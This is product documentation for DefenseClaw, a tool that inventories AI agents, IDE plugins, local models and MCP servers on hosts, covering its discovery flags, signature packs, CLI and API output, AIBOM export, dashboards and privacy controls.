--include-shell-history / --no-include-shell-historyRead ~/.bash_history, ~/.zsh_history for AI invocations.
--include-package-manifests / --no-include-package-manifestsLook at package.json, pyproject.toml, requirements.txt.
--include-env-var-names / --no-include-env-var-namesEnumerate process env names (values are never read).
--include-network-domains / --no-include-network-domainsInspect provider-domain signals and probe vetted loopback model metadata APIs.
--scan-interval-minMinutes between rescans. Defaults inherit from ai_discovery.scan_interval_min.

Signature packs are managed separately under defenseclaw agent signatures (see below); there is no --signature-pack flag on discovery enable.

Run defenseclaw agent discovery enable --help for the full list with defaults.

Signature packs

The scanner uses a versioned signature pack to know what an "AI artifact" looks like. Packs are managed independently of the binary so we can ship new connector support without a release:

defenseclaw agent signatures list
defenseclaw agent signatures install ./corp-signatures.json
defenseclaw agent signatures validate ./corp-signatures.json
defenseclaw agent signatures disable codex
defenseclaw agent signatures enable codex

A pack file is JSON, not YAML; install and validate reject other formats with invalid JSON.

disable and enable take an individual signature ID, not a pack name; use signatures list to find the ID. The bundled pack covers every connector listed in Capability matrix. Custom packs are useful when you ship internal AI tooling and want it surfaced as a first-party signal rather than unknown.

A pack whose sha256 is not the one pinned in ai_discovery.signature_pack_digests (or, on a managed standalone device, a pack with no pin) is not loaded. signatures list prints a Not loaded: line with both digests and leaves its signatures out, agent discovery status counts it, and defenseclaw doctor warns. A configured pack whose file is gone is reported the same way (file not found); signatures list still prints the rest of the catalog, and the gateway keeps enforcing the last catalog it built until the file is restored or removed from ai_discovery.signature_packs. A pack edited on disk while the gateway runs is checked again within a few seconds.

IDE plugin inventory

Beyond the AI agents on a host, DefenseClaw lists every extension and plugin in every IDE, AI or not, with its enabled state, for each user. AI plugins are flagged from the signature catalog, so "who has Copilot, Claude Code or Continue installed, and is it switched on?" is one command. The inventory is part of the continuous scan and refreshes with every full scan (every five minutes by default). Nothing is executed: the scan reads small, bounded metadata files only. Bundled extensions inside an IDE application, including VS Code built-in GitHub Copilot Chat, are not listed. The inventory reads per-user extension data folders.

$ defenseclaw agent ide-plugins --user alice
User   IDE              Plugin                                            Version   Enabled      AI
alice  cursor           anthropic.claude-code (Claude Code for VS Code)   2.1.0     yes          yes
alice  intellij-idea    com.github.copilot (GitHub Copilot)               1.5.40    yes          yes
alice  vscode           eamodio.gitlens (GitLens)                         17.0.0    no
alice  vscode           github.copilot (GitHub Copilot)                   1.250.0   yes          yes
alice  vscode           ms-python.python (Python)                         2026.1.0  yes
alice  vscode (ssh)     github.copilot (GitHub Copilot)                   1.250.0   client side  yes
alice  zed              html                                              0.2.1     yes
7 plugin(s) shown; 7 in total, 4 AI, 1 disabled, 1 user(s)
Where to read itWhat you get
defenseclaw agent ide-pluginsThe table above, or --json
GET /api/v1/ai-usage/ide-pluginsThe full rows, filtered and paged
defenseclaw aibom scan --only ide_pluginsThe ide_plugins category of the bill of materials
TUI: Inventory (6) → IDE pluginsThe same rows, with a detail card
Grafana AI Agent Usage & Detection → IDE pluginsCounts by IDE, AI against other, disabled, per user
ide.plugin.* records and the defenseclaw.inventory.ide_plugins gaugeThe change stream and the current counts, in your telemetry

Which IDEs

IDE familyProductsPlugin listEnabled state from
VS Code and forksVS Code, Insiders, VSCodium, Cursor, Devin Desktop (including legacy Windsurf folders), Kiro, Trae, Void, Antigravity, Positronextensions.json (including every profile) and each extension's package.jsonThe extensionsIdentifiers/disabled key of the editor's state.vscdb, opened read-only: enabled when not listed (or when the editor has no state database yet), unknown when the database cannot be read
VS Code Remote-SSH servers~/.vscode-server, ~/.cursor-server and the other forks' servers, on the host you connect toThe server's extensions folder, shown as vscode (ssh), cursor (ssh) and so onclient_side_unknown, shown as client side: the IDE on your laptop keeps that state
JetBrainsIntelliJ IDEA, PyCharm, WebStorm, GoLand, CLion, Rider, RubyMine, PhpStorm, DataGrip, DataSpell, RustRover, Aqua, Writerside and Android Studio, plus JetBrains remote development (shown as (remote dev))Each plugin's META-INF/plugin.xml in the plugin folders and bundled JARsdisabled_plugins.txt: enabled when not listed
Visual Studio (Windows)Visual Studio per instance, including the experimental hive: the user's extensions under %LOCALAPPDATA%\Microsoft\VisualStudio, and the machine-wide ones under Program Filesextension.vsixmanifestVisual Studio's private registry (privateregistry.bin); unknown while Visual Studio is running and holds the hive locked
ZedZedextensions/installed/*/extension.tomlAlways enabled
EclipsePer-user Eclipse installs (Oomph under ~/eclipse, p2 user configurations under ~/.eclipse), best effortbundles.info, without the platform bundles every Eclipse shipsEnabled
Vim and NeovimVim, Neovimlazy-lock.json, native packages in pack/*/{start,opt} and vim-plug's plugged folderstart is enabled and opt is disabled; lazy.nvim and vim-plug plugins are unknown because they do not record it

Connector plugins (Claude Code, Codex, OpenCode, Amp, Copilot CLI, Hermes and the others) are not IDE plugins. They stay in the AIBOM plugins category, stamped with their user.

The enabled state of a row is one of enabled, disabled, client_side_unknown or unknown, and the row records where it came from (state_vscdb, disabled_plugins_txt, privateregistry, remote_server, default and so on), which the TUI detail card shows as Enabled from.

Whose plugins

Each per-user row carries the user it belongs to: the home's owner, or on a managed host the account the guardian or the gateway scanned. One user can never appear in another user's rows: a planted extension folder changes only its own owner's inventory.

InstallWho scansWhose homes
Per-user (OSS)The user's own gatewayThat user's home only
Standalone enterprise, Linux and macOSThe hook guardian, as each enrolled userEach enrolled user's home. It does not follow links out of the home
Standalone enterprise, WindowsThe gateway service, which the enumerator grants read access to the IDE folders of each profile (and nothing else in the profile)Each enrolled profile; Visual Studio installs under Program Files are machine-wide. It reads nothing through a link, junction or mount point below a profile, and skips an ai_discovery.home_dirs folder that is one; each refused path gets one ai_discovery_link_refused warning in the gateway log

A machine-wide row belongs to no account. A Visual Studio extension installed for all users under Program Files is listed once, however many users are enrolled, with scope machine, no user or user_id, and an enabled state of unknown. --user never returns it, counts.users does not count it, and its ide.plugin.* records are exported without user.id or any defenseclaw.user.* attribute.

A managed Windows gateway reads the same IDE sources as a per-user scan, and the enabled state comes from the same places. The hook enumerator grants its service account read access to these folders in each enrolled profile (one with at least one enrolled agent) at every cycle, every 5 minutes, so a new IDE or plugin folder shows up after the next cycle and the next scan:

IDERead, with what it holdsOnly the folder or file itself
VS Code and forks.vscode\extensions and the forks' extensions, %APPDATA%\Code\User\globalStorage and profiles (and the forks')
Remote-SSH servers.vscode-server\extensions and the forks'.vscode-server and .vscode-server\cli\servers (to list the server builds), each build's server\package.json (its version). The server's own data and binaries are not granted
JetBrains%APPDATA%\JetBrains, and plugins in each product folder under %LOCALAPPDATA%\JetBrains%LOCALAPPDATA%\JetBrains (to list the products), RemoteDev\dist and each backend's product-info.json. The caches, indexes and logs beside them are not granted
Android StudioEach %APPDATA%\Google\AndroidStudio<version> folder, and plugins in each %LOCALAPPDATA%\Google\AndroidStudio<version>%APPDATA%\Google and %LOCALAPPDATA%\Google (to list the versions). Other Google folders are not granted
Visual Studio, Zed, Neovim, Vim%LOCALAPPDATA%\Microsoft\VisualStudio, %LOCALAPPDATA%\Zed\extensions\installed, %LOCALAPPDATA%\nvim and nvim-data, vimfiles
Eclipse.eclipseeclipse (Oomph's installs) and each install's bundles.info

Nothing is granted through a link or junction inside a profile. The enumerator reads %APPDATA% and %LOCALAPPDATA% under each profile. AppData that folder redirection moves to a local folder the user owns is inventoried. AppData on a network share, or reached through a link or junction, is not. The Secure Client profile keeps its historical editor-extension detector and has no IDE inventory, so it gets none of these grants. JetBrains Toolbox's own folder is not read on any platform: the IDEs it installs keep their plugins in the product folders above.

What is collected, and what is not

Collected for each plugin: the plugin ID, display name and publisher, the version, the enabled state and where it came from, the scope (user, remote or machine), the AI flag and the signature that matched, the install and last-seen times, the owning user, and a hash of the plugin's path. For each IDE installation: the product, channel, version, whether it is a remote server, and a hash of its path.

Not collected: the contents or source of any extension, settings, tokens or credentials, workspace and project files, chat or editor history, or the extension's own data. Each text field (a display name, a publisher) is kept to one printable line of at most 256 bytes: format characters such as right-to-left overrides are dropped and control characters become a space, so a planted name cannot render differently in a table or a dashboard. The only database read is the one key extensionsIdentifiers/disabled in a VS Code state.vscdb, opened read-only and immutable with a 2-second limit. Paths leave the host only as hashes.

Every scan is bounded: at most 4,096 plugins per IDE installation, 16,384 files and 64 MiB of metadata per home, and 1 MiB per file. An IDE that exceeds a bound is reported as a partial installation rather than read further.

The scan reads regular files only: it skips a FIFO, a device, a socket or a folder it cannot open without waiting on it, and a manifest it walks to is read as the file itself, never through a link. On a managed Linux host, each user's scan runs in a worker with a 1 GiB memory ceiling, so a home that defeats these bounds ends that user's worker, not the host. On managed Linux and macOS, when a user's scan fails three passes in a row, the guardian pauses that home for an hour (then two, up to a day) and keeps the user's last inventory meanwhile.

Most IDE rows describe plugin data found in each user profile; Windows Visual Studio also has machine-wide rows. Removing an IDE application can leave those folders behind, so an enabled plugin row means its metadata is present and enabled in that saved profile; it does not prove that the IDE application is still installed.

Folder coverage

For VS Code, the scanner reads ~/.vscode/extensions on macOS and Linux and %USERPROFILE%\.vscode\extensions on Windows, plus the default per-user data folders for the listed forks and their remote SSH servers. It does not read portable VS Code data/extensions beside the app, folders selected with --extensions-dir or VSCODE_EXTENSIONS, Linux XDG relocations, or Snap and Flatpak extension roots. Those installations and their editor-extension AI signals can be absent from the inventory.

Privacy and scope

Plugin lists can reveal personal tooling. ai_discovery.ide_inventory sets the scope, and the default is the full list:

ValueEffect
all (default)Every plugin, AI or not
ai_onlyOnly plugins flagged as AI
offNo IDE inventory; AI editor-extension signals still appear in agent usage
~/.defenseclaw/config.yaml
ai_discovery:
  ide_inventory: ai_only    # all | ai_only | off

Set the scope with defenseclaw agent discovery enable --ide-inventory ai_only --yes (or choose all or off). This also enables discovery and runtime planes A and B. A running gateway applies the change on its next reload, and the inventory follows at the next full scan. On a managed host, edit the machine configuration. When the scope is off, defenseclaw agent ide-plugins says so and exports nothing. The AI flag follows the signature packs, so a new AI extension is flagged after a signature update. See also Identity and authentication.

Read the inventory

defenseclaw agent ide-plugins
defenseclaw agent ide-plugins --user alice --ai-only
defenseclaw agent ide-plugins --ide cursor --json
defenseclaw aibom scan --only ide_plugins

--ide takes a product (vscode, cursor, pycharm) or a family (jetbrains). --ide windsurf is an alias for devin-desktop so older Windsurf profiles can be found by that name. The footer line reports the counts of the rows that the filters select. Without AI discovery enabled, the command tells you to run defenseclaw agent discovery enable.

A managed install has no defenseclaw Python CLI (Managed command availability). As root on a managed Linux or macOS host, sudo /opt/defenseclaw/bin/defenseclaw-gateway enterprise linux ide-plugins (on a Mac, sudo /opt/cisco/defenseclaw/bin/defenseclaw-gateway enterprise macos ide-plugins) prints the managed gateway's inventory as JSON, with the --user, --ide, --ai-only and --cursor filters. On a managed Windows computer, & 'C:\Program Files\Cisco\DefenseClaw\bin\defenseclaw.exe' enterprise windows ide-plugins does the same from an elevated PowerShell prompt. The counts describe the rows the filters select, so --ai-only or an unmatched --user can give zero; run the command with no filter for the machine total. An answer without an inventory carries a reason: on a managed computer whose config leaves AI discovery off, it says to set ai_discovery.enabled: true in the managed config (the file Setup, the package or the MDM delivers); agent discovery enable is a per-user command.

  • API. GET /api/v1/ai-usage/ide-plugins returns the last full scan's plugins, filtered by user (account name or ID), ide (product or family) and ai_only, a page at a time (limit, at most 1000, and cursor from the previous page's next_cursor). total and counts (plugins, AI, disabled, users, installations and per-IDE) describe the rows the filters select across all pages, and with ai_only the installations list keeps only the installations that hold an AI plugin. GET /api/v1/ai-usage carries the same counts for the whole machine. See the gateway API. Secure Client does not register the IDE plugin route, so it returns 404.
  • AIBOM. The ide_plugins category lists the same rows. --only can leave it out or select it alone.
  • TUI. Inventory (6) → IDE plugins lists IDE, Plugin, Version, Enabled and AI, with a User column when more than one user is present. Enter opens a detail card with the version, publisher, where the enabled state came from, the scope, the matched AI signature and the times; PageUp and PageDown scroll it. See the TUI guide.
  • Grafana. The AI Agent Usage & Detection board has an IDE plugins section: plugins installed, AI plugins and disabled plugins as counters, plugins by IDE, AI against other plugins by IDE, plugins by enabled state, and a per-user table. The $user box narrows the Loki panels to one user. See Grafana dashboards.
  • Telemetry. Each change is exported as an ide.plugin.discovered, ide.plugin.changed or ide.plugin.removed record, and the defenseclaw.inventory.ide_plugins gauge counts plugins per IDE, AI flag and enabled state.

Operator CLI

The CLI has two distinct discovery paths. agent discover runs a connector inventory directly on the operator's machine and needs no gateway. agent usage, processes, and components query the continuous-discovery snapshot and therefore require a running gateway.

agent discover

defenseclaw agent discover --json --emit-otel

Sanitized telemetry is best-effort and on by default. --no-emit-otel keeps a run strictly local. --require-otel fails the command when the gateway is unreachable.

Checks every connector DefenseClaw knows. The local --json output has an agents object with one entry per connector ({"agents": {"codex": {...}, ...}}), plus scanned_at and the telemetry result. Each entry has:

FieldWhat it means
installedA binary was found and its version probe succeeded. Configuration is reported independently; a config file alone does not mark the application installed.
config_path / binary_pathFull local paths found by discovery
version / errorVersion string or the local probe error
configured / active / modeState reconciled from DefenseClaw config

Local JSON contains full paths

Treat redirected agent discover --json output as host inventory. It includes full config and binary paths and may include local probe error detail. It does not include file contents or environment values.

Before the default telemetry emission, DefenseClaw builds a separate sanitized report. That projection replaces raw paths with has_*, basename, and installation-scoped path-hash fields, bounds the version, and reduces probe errors to version_probe_status plus error_class. See Privacy and trust model below.

agent usage, processes, components

These three queries hit the gateway's AI usage view (built from continuous discovery), not the local filesystem:

defenseclaw agent usage --state new --state changed
defenseclaw agent usage --refresh --category local_model
defenseclaw agent usage --category local_model --detail
defenseclaw agent usage --component Qwen3
defenseclaw agent usage --category local_model --show-gone
defenseclaw agent usage --json | jq '.signals[] | select(.category == "local_model")'

Without --refresh, the command reads the most recent snapshot. --refresh first triggers a full scan and then renders its result. The default table groups repeated observations; --detail renders one row per signal. Local-model rows add model ID, installed/loaded status, and format columns when available.

Useful flags: --refresh, --detail, --state (repeatable), --category, --product, --component, --sandbox (what AI discovery found inside that sandbox; repeatable), --show-gone, --by-detector, --limit, --wide. The default table keeps the columns that fit the terminal; --wide adds model format, version and the identity/presence confidence columns. --component matches both SDK/component names and local model IDs using a case-insensitive substring. Table filters are client-side; --json intentionally returns the complete raw gateway snapshot, so filter JSON with jq when needed.

defenseclaw agent processes --limit 20

Live AI process table — running agent CLIs, local model servers, and AI desktop apps whose process name matches the signature catalog. Useful when something is running but you can't tell which agent spawned it. On macOS and Linux a per-user install lists only your own account's processes; managed installs see every enrolled user.

Process names match a catalog name exactly or as a distinct part separated by a hyphen, underscore, dot, or space. An unrelated name that merely contains a catalog word is not counted. On macOS, CLI binary discovery checks the scanner's PATH and the usual install directories /usr/local/bin, /opt/homebrew/bin, /opt/local/bin, and /opt/dc-agents/bin, plus ~/.local/bin and ~/bin for the scanned user. The binary check does not run the candidate.

defenseclaw agent components --ecosystem npm --min-identity 0.8
defenseclaw agent components show ai
defenseclaw agent components history ai

Use the component ID from agent components; package IDs such as ai and openai resolve only after discovery finds those packages. A display label or connector name is not a component ID.

Package-dependency view: every AI-related npm, PyPI, Go, Cargo, or other package dependency across your workspaces. --ecosystem takes the ecosystem name (npm, pypi, go, …). show and history drill into a single component's identity score and detection trail.

TUI and macOS behavior

The full TUI AI Discovery panel groups local models case-insensitively by model ID in a separate compact table with State, Model, Owner, Modality, Relevance, Confidence, Status, and Format columns. Everything else remains in the existing agent/tool table. Press t to move keyboard focus between the product and model tables; arrow keys and Enter then operate on the visible selection. Model detail retains provenance—including publisher, country, root/base models, derivation, quantization, source, and confidence—alongside owner application, modality, relevance, discovery confidence, recipe, device, size_bytes, and pinned state.

When classification metadata is available, the TUI starts in RECOMMENDED scope: discovery confidence must be at least 80%, and the row must be primary or an owner-attributed supporting speech, audio, vision, or embedding model. Low-confidence, embedded, unknown-relevance, ownerless-supporting, and supporting-generative rows are hidden. The local-model heading reports the visible/total counts and how many rows are hidden. Press a or choose Show all models to expose the complete admitted inventory, then press a again or choose Recommended models to return. For compatibility, a direct model_api row without model-specific confidence remains recommended, and a snapshot from an older gateway with no owner, relevance, or discovery-confidence metadata keeps its historical all-model view even if it reports the older modality field.

The macOS app decodes the same wire shape and uses the same recommended scope. Its inspector also shows owner application, modality, relevance, and discovery confidence, and a visible notice reports the count hidden by filters. Under Model Filters, Show All Models removes the recommended confidence/classification exclusions while still honoring an explicitly selected modality or relevance. The modality picker offers Generative, Speech, Vision, Embedding, Audio, and Unknown; the relevance picker offers Primary, Supporting, Embedded, and Unknown. Selecting either classification explicitly removes the implicit recommended classification exclusions while retaining the 80% confidence threshold, so choosing Speech also reveals high-confidence supporting speech models. Reset to Recommended restores the default scope. These TUI/macOS controls are presentation-only: GET /api/v1/ai-usage and defenseclaw agent usage --json continue to return the complete admitted snapshot, including rows hidden by the recommended view. The separate Overview tile remains an AI Agents summary: it excludes local_model rows from its count and row cap so a large model inventory cannot hide agent rows.

agent confidence

Discovery isn't binary — every signal has a confidence score. To inspect what evidence backed a particular decision:

defenseclaw agent confidence explain openai
defenseclaw agent confidence policy show
defenseclaw agent confidence policy default
defenseclaw agent confidence policy validate ./my-policy.yaml

explain shows the per-detector evidence trail. policy lets you tune the weights — useful when you have an internal connector that scores low because the bundled signature pack doesn't know about it.

AIBOM (AI Bill of Materials)

Discovery answers "what's there?" AIBOM answers "what's there, with provenance, in a format I can hand to compliance."

defenseclaw aibom scan --json

For OpenClaw, aibom scan calls the live openclaw binary in parallel for each category (skills, plugins, MCP, agents+config, models, memory) and merges the results. For non-OpenClaw connectors it falls back to filesystem inventory.

On a multi-connector install, a default aibom scan fans out: it produces one BOM per active connector, mirroring the rest of the read/inventory commands. With --json one connector prints one JSON object; several print a JSON array with one object per connector, each naming its connector. Pass --connector <name> to get a single object for one connector.

In the human output, a count of 0 means the category was read and is empty. - / not collected means DefenseClaw cannot read that category for this connector (or --only left it out). The Inventory coverage notes at the end say what each connector's inventory covers: not supported notes mark a category that is not read, partly checked notes mark one that is read but where some runtime details (for example folder trust or organization policy) are not checked. --summary folds them into one line such as 1 inventory coverage note (plugins); run without --summary to read it. JSON keeps them in limitations with status unsupported or unverified.

The output is a custom JSON document. The document and each item carry the same provenance block: schema version, content hash, configuration generation, and DefenseClaw version. The content_hash is the SHA-256 of the active DefenseClaw configuration and policy inputs; it is not a hash of an individual inventory item or of the complete BOM:

The excerpt shows one connector's object (--connector, or an install with one active connector); with several connectors each array element has this shape:

defenseclaw aibom scan --connector claudecode --json (excerpt)
{
  "provenance": {
    "schema_version": 7,
    "content_hash": "8c3a000000000000000000000000000000000000000000000000000000000000",
    "generation": 0,
    "binary_version": "<version>"
  },
  "skills": [
    {
      "name": "code-review",
      "version": "1.2.0",
      "source": "~/.claude/skills/code-review",
      "provenance": {
        "schema_version": 7,
        "content_hash": "8c3a000000000000000000000000000000000000000000000000000000000000",
        "generation": 0,
        "binary_version": "<version>"
      }
    }
  ],
  "mcp": [...],
  "agents": [...],
  "tools": [...],
  "model_providers": [...],
  "memory": [...]
}

Useful flags:

FlagPurpose
--jsonMachine-readable output (default is a human table)
--summaryCounts only — useful for CI gates
--onlyComma-separated categories to collect: skills,plugins,mcp,agents,rules,tools,models,memory,ide_plugins. The others are left out, and the JSON marks them "collected": false
--connectorInventory one connector instead of every active one

There's no --sign or --format=cyclonedx today. The stamped provenance binds the report to the active DefenseClaw config/policy generation and binary version, but does not sign the report or content-address each item. Export the custom JSON downstream if your SBOM tooling requires CycloneDX.

Where the data lands

Both continuous and on-demand discovery feed the same audit pipeline. Once you've got Observability wired up, the bundled dashboards light up automatically.

Galileo is not one of these places. Its galileo-rich-v2 trace profile carries agent, workflow, model, tool, retrieval and judge spans only, so discovery results never reach Galileo; use Grafana, Splunk or another OTLP destination for them (see Galileo).

Managed enterprise export

When deployment_mode: managed_enterprise has a valid top-level cisco_ai_defense.endpoint, DefenseClaw generates the reserved managed-enterprise-ai-defense destination. Operators cannot declare, disable, retarget, or attach credentials to this destination through the observability source config. It uses the managed CMID identity, applies the built-in sensitive projection, and posts to the release-owned AI Defense ingest path.

Every complete managed endpoint-inventory collection is durable in mandatory local SQLite. Its summary is accompanied by one ai_component.observed record per item. Connector and MCP inventory are exported at that granularity; the latest full discovery snapshot also contributes per-item skills, plugins, and discovered MCP servers tagged with their parent connector. Sanitized coding- agent inventory received through agent discovery uses the same per-item model. Incomplete, overflowed, or otherwise non-authoritative collections are retained as local diagnostics instead of being exported as authoritative snapshots.

Managed MCP inventory treats an unreadable connector configuration, a malformed server entry in otherwise valid JSON, an invalid Codex or Amp configuration, or an incomplete discovery scan as a partial observation. Valid entries from other sources remain in the local diagnostic. The gateway emits a local, redacted inventory diagnostic and keeps the last complete managed snapshot; it does not report the missing entries as removals. A complete scan can publish a genuinely empty inventory when servers have been removed, but only after every connector configuration read completes successfully. The partial summary contains a source and counts; component rows owned by the unreadable connector stay on the local diagnostic route and are not exported as managed inventory. Complete sibling connectors can still submit their server records individually. Those submissions are additive observations, not an authoritative endpoint snapshot, and do not tell AI Defense to remove rows belonging to the unreadable connector. On Windows, a LocalSystem gateway cannot read configured user-profile MCP files. That collection remains partial until a per-user source provides them; the gateway does not replace the last complete cloud snapshot with an empty one.

Local MCP component records include the safe server name, safe command basename, transport, connector, native configuration scope when known, and the discovery source. For command-based entries, when the gateway has its installation token, it also exports separate keyed HMAC fingerprints of the full command and ordered arguments. The token never leaves the gateway through these fields; raw command paths, arguments, environment variables, headers, and OAuth material are not exported. A gateway token rotation changes these fingerprints. A local MCP component ID derives from the connector, user scope, and server alias, preserving the identity used by earlier inventory releases. Command, argument, or token changes update the record's fingerprints without replacing the component or its tool history. The connector and user scope distinguish separate installations on one endpoint, while the alias keeps two entries with identical commands and ordered arguments visible as distinct configured rows. Renaming the alias creates a new component.

Remote MCP component records also include the configured server endpoint URL. The exported value keeps only the HTTP(S) scheme, host, and explicit port; it omits userinfo, path, query parameters, and fragments. A remote MCP component ID also derives from connector, user scope, and server alias. Endpoint changes update that component in place. DefenseClaw does not probe the endpoint to collect this value; it comes from native connector configuration. Renaming a remote server alias creates a new component.

When a local or remote MCP admission scan completes, DefenseClaw preserves the bounded tool names returned by its existing tools/list request even if the scanner reports zero findings. Authenticated agent hooks also record the names of MCP tools called at runtime. Managed local and remote inventory emit these as mcp_tool components with the current parent server component ID, advertised or observed source, and the UTC observation time. It exports names only: tool descriptions, input schemas, call arguments, and results are excluded. A completed empty listing clears previously advertised names from the bounded durable snapshot; an incomplete listing produces a local partial diagnostic. An ambiguous server alias across user profiles is not attributed to either profile. Advertised tool evidence and observed tool names are persisted in bounded local SQLite state, restored after a gateway restart, and retained until an authoritative parent refresh retires the configured alias. Each parent retains at most 256 distinct advertised names and 256 distinct observed names. Once an observed parent is at that limit, a new distinct name is rejected and the collection remains partial; existing names and their timestamps are never evicted to make room. A restored complete advertised listing remains complete once its configured parent is matched again; a restored partial listing remains partial until that server completes a later listing, including an empty one. Durable restore completeness is tracked separately for advertised and observed tools: an unreadable advertised snapshot keeps only the advertised collection diagnostic, while unresolved observed rows keep the observed collection diagnostic until their read succeeds. A newly observed tool also remains diagnostic until SQLite confirms its write; a failed write is retried on a later inventory cycle without delaying the hook response. A listing that completes before its newly configured parent has been refreshed is retained in memory, persisted, and published after that parent is established. Tool components use the managed route only when their parent server component is eligible for that route. An over-limit or otherwise diagnostic-only parent therefore cannot leave an authoritative orphan tool. This flow does not reconcile a central principal catalog. Remote tool lineage follows the alias-based server ID. DefenseClaw reuses the scanner's existing remote tools/list request and does not start an additional endpoint probe. If an older scanner omits the tool-list field, the gateway marks the listing unknown and keeps the last complete managed snapshot. Only managed enterprise mode records this tool inventory; parent identities refresh with inventory publication. An observed call alone does not mark a listing complete. The defenseclaw.inventory.mcp_tool_events counter distinguishes listing, authenticated-call observation, and export submission using fixed outcome and reason labels. An observation whose verified server parent is unavailable uses the bounded parent_unavailable reason; the counter never uses a tool name, server URL, scan error text, or call argument as a label.

The release-owned managed agent, connector, MCP, skill, and plugin inventory actions are blocked from operator-configured remote destinations. Mandatory SQLite remains authoritative locally, and the generated CMID-authenticated AI Defense destination is the only optional exporter allowed to receive those actions. That exclusivity applies to the release-owned managed inventory actions; ai_discovery records continue to follow the destination policy and also reach the generated destination in managed mode.

Splunk: AI Discovery Inventory

Splunk · AI Discovery Inventory dashboard

The dashboard reads from the defenseclaw_demo_ai_discovery_events macro and breaks signals down by vendor, category, state, detector, and severity. The recent-events table surfaces signal_id, scan_id, and the human message so an analyst can pivot directly to the source.

Grafana

The local observability stack ships the AI Agent Usage & Detection board (defenseclaw-ai-discovery), built on:

  • Prometheus: defenseclaw_ai_discovery_signals_total (labels state, signal_category, ai_vendor, ai_product, detector), the active-signal gauge and the IDE plugin gauge defenseclaw_inventory_ide_plugins (labels defenseclaw_ide_product, defenseclaw_ide_plugin_ai, and defenseclaw_ide_plugin_enabled; the sample without labels is the current total). The board queries the exported label names directly, including for a plain otlp destination.
  • Loki: the ai.discovery.completed, ai_component.* and ide.plugin.* records.
  • Tempo: the discovery scan traces.

Its IDE plugins section shows the plugin count by IDE, AI against other plugins, disabled plugins and a per-user table. The $user box narrows the Loki panels to one user by user.id, account name or principal.

Its Sandbox signals section lists what AI discovery found inside OpenShell sandboxes, one row per sandbox and component, from the ai_component.* records that carry defenseclaw.sandbox.name. The $sandbox box narrows that table and the per-signal log to one sandbox; All keeps the host's own records in the log. The metric panels count the host's and the sandboxes' signals together: sandbox names are never metric labels. They, and every other panel the box does not narrow, say (all names) in their title or their section's.

Grafana AI Agent Usage & Detection board, Sandbox signals section: a row for each AI component found inside the sandbox, with its vendor, product, component category and whether the record says it was discovered or removed

It cross-links from the overview, runtime, and agent-identity dashboards so you can drill from "block rate spiked" → "which agent" → "when was this agent first discovered."

Privacy and trust model

In short:

  • Environment variable names are recorded, never values.
  • File paths leave the host as hashes. Raw paths need ai_discovery.store_raw_local_paths: true.
  • Model discovery reads file headers and small metadata files, never model weights or document contents.
  • The IDE plugin scan reads small metadata files only and runs per user. ai_discovery.ide_inventory limits it to AI plugins or turns it off.
  • Runtime planes read process arguments. Those are classified as content, so each destination's redaction profile decides whether they leave the host.

In detail:

Discovery touches the most sensitive parts of the host filesystem. DefenseClaw is deliberately conservative:

No raw values by default. Env var names are recorded, never values. File paths are hashed (config_path_hash, binary_path_hash) and only basenames are kept in the default redacted output.

Metadata-only model discovery. Filesystem discovery never reads tensor payloads; it reads only bounded headers and small adjacent metadata needed to identify and group model artifacts. API discovery never calls inference or model-control routes. API discovery caps each decoded response at 1 MiB, emits at most 256 model items, considers at most 24 endpoints, and has both per-request and whole-pass time budgets. Per-source cursors and rotating origins give later models/providers a bounded turn on subsequent passes. Authenticated Lemonade discovery uses only the least-privileged LEMONADE_API_KEY—never LEMONADE_ADMIN_API_KEY—and sends it only when the loopback origin came from explicit LEMONADE_HOST/LEMONADE_PORT settings or Lemonade's config and its credential-free /live check succeeds. The value is never stored in a signal, log, or event.

Optional trusted-prefix binary probing. The on-demand connector inventory defaults ai_discovery.require_trusted_binary_paths to false. Set it to true when version probes must execute only below the built-in trusted prefixes (/usr/bin, /opt/homebrew, …) or operator-added prefixes. With that gate enabled, an untrusted binary is recorded but not executed, and agent discover prints the directory plus the remediation command. Manage additions with defenseclaw setup trusted-paths list|add|remove (or the TUI Trusted Paths panel): add validates the directory, refuses unsafe permissions unless --force, and persists it under ai_discovery.trusted_binary_prefixes in config.yaml; built-in defaults cannot be removed.

IDE inventory is bounded and scoped. The IDE scan reads small metadata files only (never extension contents, settings or credentials), hashes every path, and runs per user so rows stay with the account that owns them. ai_discovery.ide_inventory narrows it to AI plugins or turns it off. See IDE plugin inventory.

HMAC-stamped events. Continuous-discovery events are signed with a per-installation HMAC (PayloadHMAC on the gateway envelope). Tampering downstream of the gateway is detectable.

Sanitized on-demand reports. defenseclaw agent discover --emit-otel builds a _sanitized_discovery_report before posting to the gateway. The full unredacted report stays on the operator's machine.

Scoped controls for broader surfaces. Provider-domain and vetted loopback API checks follow include_network_domains; shell-history and environment-name collection have their own settings. Process discovery matches executable basenames, not argument text. On Darwin, where the kernel-backed short process name truncates long aliases, DefenseClaw reads the full ps command-line field only long enough to recover the executable basename, then discards the executable path and arguments. Review these controls with your privacy team and disable any surface your deployment does not need.

On macOS, enhanced discovery respects the operating system's Transparency, Consent, and Control (TCC) and filesystem permissions. DefenseClaw does not bypass protected folders or trigger access through another application. Without Full Disk Access the scan does not open the folders that make macOS prompt the user (Desktop, Documents, Downloads, Movies, Music, Pictures, iCloud Drive, ~/Library/Containers, ~/Library/Group Containers and Contacts data). A skipped protected folder makes the scan summary result: partial, increments errors, and adds detector_errors.macos_privacy. Other unreadable roots also leave successful detections in place and add sanitized detector information in detector_errors. The macOS app shows a prominent Partial scan banner with the error count and detector details; it shows Scan complete only when the result is complete. An incomplete root is not treated as proof that a previously observed model was removed. Grant Full Disk Access only when your organization's policy permits that broader local inventory, then restart the gateway and run a fresh scan.

The local GET /api/v1/ai-usage response—and therefore defenseclaw agent usage—retains the dedicated model block so the operator can see what is installed or loaded. Local scan history retains the same block in inventory.db; the gateway prunes scans older than observability.local.retention_days (seven days by default) and always keeps the latest scan. Records sent to a destination follow that destination's redaction profile. Normal discovery sanitization omits extended model metadata plus model basenames/path hashes, and lifecycle correlation uses an installation-scoped HMAC pseudonym rather than a dictionary-testable model ID. Raw filesystem paths require both ai_discovery.store_raw_local_paths: true and a selected projection that preserves the path field class. The retired privacy.disable_redaction setting no longer turns redaction off.

Runtime planes: what actually ran

Everything above establishes presence and identity. It deliberately does not prove that a detected component is active — an inventory that quietly implied liveness would be the more dangerous product.

The runtime planes answer the next question. Which process, at this moment, is sustaining inference-level compute or sending data to which provider, and does a sequence of host actions add up to a chain?

QuestionAnswered by
What AI is present?Discovery / AIBOM
What AI is allowed?Registries
What AI actually ran, and where did it send data?Runtime planes

